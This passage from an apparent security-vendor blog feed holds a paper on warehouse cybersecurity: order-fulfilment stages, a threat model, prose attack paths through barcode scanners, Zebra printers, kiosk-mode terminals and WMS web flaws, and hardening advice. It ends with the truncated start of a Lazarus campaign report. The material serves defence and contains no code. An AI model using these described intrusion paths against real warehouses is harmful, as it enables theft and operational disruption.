href="https://www.sec.gov/Archives/edgar/data/1020859/000102085925000054/unfi-20250802.htm" rel="noopener" target="_blank">2025 Form 10-K annual report</a> of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, <a href="https://www.securityweek.com/ceva-logistics-operations-disrupted-by-cyberattack/" rel="noopener" target="_blank">reports emerged</a> that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.</p> <p>This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.<br/> <input class="category_for_banner" data-type="posts" type="hidden" value="security-services-in-post-banner"/></p> <h2 id="tracing-the-unicorn">Tracing the unicorn</h2> <p>A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.</p> <div class="wp-caption aligncenter" id="attachment_121560-2" style="width: 1856px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1.png"><img alt="Stages of order fulfillment" aria-describedby="caption-attachment-121560-2" class="size-full wp-image-121560" decoding="async" height="1140" sizes="auto, (max-width: 1846px) 100vw, 1846px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1.png 1846w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-300x185.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-1024x632.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-768x474.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-1536x949.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-567x350.png 567w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-740x457.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-453x280.png 453w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18184933/paper-unicorn-warehouse-security1-800x494.png 800w" title="paper-unicorn-warehouse-security1" width="1846" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121560-2">Stages of order fulfillment</p></div> <p>So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.</p> <ol> <li><strong> Unloading<br/> </strong>First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.</li> <li><strong> Receiving<br/> </strong>At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.</li> <li><strong> Putaway<br/> </strong>Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.</li> <li><strong> Storage<br/> </strong>Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.</li> <li><strong> Picking<br/> </strong>When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.</li> <li><strong> Sorting<br/> </strong>At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.</li> <li><strong> Packing<br/> </strong>During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.</li> <li><strong> Shipment<br/> </strong>Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.</li> </ol> <p>All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.</p> <p>Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).</p> <p>That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.</p> <h2 id="hunting-the-unicorn">Hunting the unicorn</h2> <p>Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.</p> <div class="wp-caption aligncenter" id="attachment_121561-2" style="width: 1441px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2.png"><img alt="Warehouse risks" aria-describedby="caption-attachment-121561-2" class="size-full wp-image-121561" decoding="async" height="997" sizes="auto, (max-width: 1431px) 100vw, 1431px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2.png 1431w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-300x209.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-1024x713.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-768x535.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-502x350.png 502w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-740x516.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-402x280.png 402w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190044/paper-unicorn-warehouse-security2-800x557.png 800w" title="paper-unicorn-warehouse-security2" width="1431" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121561-2">Warehouse risks</p></div> <p>The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.</p> <p>The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.</p> <p>The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.<br/> Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:</p> <ol> <li>External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment: <ol type="A"> <li>Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.</li> <li>Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.</li> </ol> </li> <li>Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.</li> </ol> <p>Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.</p> <h2 id="cornering-the-unicorn">Cornering the unicorn</h2> <p>Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.</p> <div class="wp-caption aligncenter" id="attachment_121562-2" style="width: 1440px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-scaled.png"><img alt="Warehouse attack surface" aria-describedby="caption-attachment-121562-2" class="size-full wp-image-121562" decoding="async" height="809" sizes="auto, (max-width: 1430px) 100vw, 1430px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-scaled.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-scaled.png 2560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-300x170.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-1024x580.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-768x435.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-1536x869.png 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-2048x1159.png 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-618x350.png 618w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-740x419.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-495x280.png 495w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/18190239/paper-unicorn-warehouse-security3-800x453.png 800w" title="paper-unicorn-warehouse-security3" width="1430" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /></a><p class="wp-caption-text" id="caption-attachment-121562-2">Warehouse attack surface</p></div> <p>On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.</p> <p>Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.</p> <h3 id="initial-attack-vectors">Initial attack vectors</h3> <h4 id="internet-facing-services">Internet-facing services</h4> <p>Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.</p> <h4 id="wi-fi-bluetooth-and-other-radio-channels">Wi-Fi, Bluetooth, and other radio channels</h4> <p>Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. <a href="https://securelist.com/zigbee-protocol-security-assessment/118373/" rel="noopener" target="_blank">Zigbee</a> and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.</p> <p>Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.</p> <p>That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.</p> <p>However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.</p> <h4 id="physical-network">Physical network</h4> <p>The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.</p> <p>That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.</p> <h4 id="barcode-scanners">Barcode scanners</h4> <p>Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.</p> <p>This makes the scanner an entry point into the core network in two ways.</p> <p>First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.</p> <p>Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by <a href="https://github.com/klsecservices/Advisories/blob/master/KLSA-00298-Honeywell-Bluetooth-Remote-Execution-of-System-Commands-Vulnerability.md" rel="noopener" target="_blank">CVE-2026-4272</a>.</p> <p>In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.</p> <h4 id="portable-data-terminals">Portable data terminals</h4> <p>Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.</p> <p>That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.</p> <h4 id="printers">Printers</h4> <p>Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.</p> <p>Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.</p> <p>Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.</p> <h3 id="impact-on-logistics-processes-attacks-on-wms">Impact on logistics processes (attacks on WMS)</h3> <p>With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.</p> <p>Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.</p> <p>To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.</p> <p>Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.</p> <p>A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.</p> <p>The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.</p> <p>The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.</p> <p>This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.</p> <p>Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.</p> <p>Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.</p> <p>PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.</p> <p>However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.</p> <h2 id="securing-the-unicorn">Securing the unicorn</h2> <p>We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.</p> <p>Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.</p> <p>Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.</p> <p>Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.</p> <p>Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.</p> <p>Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.</p> <p>Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.</p> <p>If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. <a href="https://www.kaspersky.com/enterprise-security/ics-security?icid=gl_sl_ics-security-contact_sm-team_c7dfc20b778ade14#contact" rel="noopener" target="_blank">Reach out to discuss a security assessment</a>.</p> </div> </div> </div> <!-- .entry-comments --> </div> </div></div> https://securelist.com/paper-unicorn-warehouse-security/121537/ cyber Tue, 20 Oct 2026 07:00:45 +0000 Operation FlashHole: Lazarus breaks security, defies control https://securelist.com/lazarus-operation-flashhole/121541/ <div class="c-article__main"> <div class="o-row c-article__container"> <div class="o-col c-article__content js-article-body"> <div class="js-reading-wrapper"> <figure class="c-article__figure u-hidden u-block@md"> <img alt="" class="attachment-securelist-2020-thumbnail-large size-securelist-2020-thumbnail-large wp-post-image" data-src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1200x600.jpg" data-srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1200x600.jpg 1200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-300x150.jpg 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1024x512.jpg 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-768x384.jpg 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1536x768.jpg 1536w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-2048x1024.jpg 2048w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-700x350.jpg 700w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-740x370.jpg 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-560x280.jpg 560w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-800x400.jpg 800w" decoding="async" height="600" sizes="auto, (max-width: 1200px) 100vw, 1200px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/20205657/sas-lazarus-3_securelist-featured_1200x600-1200x600.jpg" srcset="" width="1200" style="width:auto;height:auto;max-width:100%;max-height:450px;object-fit:contain;display:block;border-radius:4px;" loading="lazy" /> </figure> <div class="c-article__authors u-hidden u-block@md"> <p class="c-block__title">Authors</p> <ul class="c-list-authors"> <li> <a href="https://securelist.com/author/sojunryu/"> <span>Sojun Ryu</span></a> </li> </ul> </div> <div class="js-reading-content"> <div class="c-wysiwyg"> <p>In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s <a href="https://securelist.com/operation-synchole-watering-hole-attacks-by-lazarus/116326/" rel="noopener" target="_blank">Operation SyncHole</a>. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.</p> <div class="wp-caption aligncenter" id="attachment_121625-2" style="width: 1854px"><a class="magnificImage" href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN.png"><img alt="Operation FlashHole attack flow during initial compromise" aria-describedby="caption-attachment-121625-2" class="size-full wp-image-121625" decoding="async" height="1157" sizes="auto, (max-width: 1844px) 100vw, 1844px" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN.png" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN.png 1844w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-300x188.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-1024x642.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-768x482.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2026/10/22151444/Operation_FlashHole_scheme_011_EN-1536x964.png 1536w, 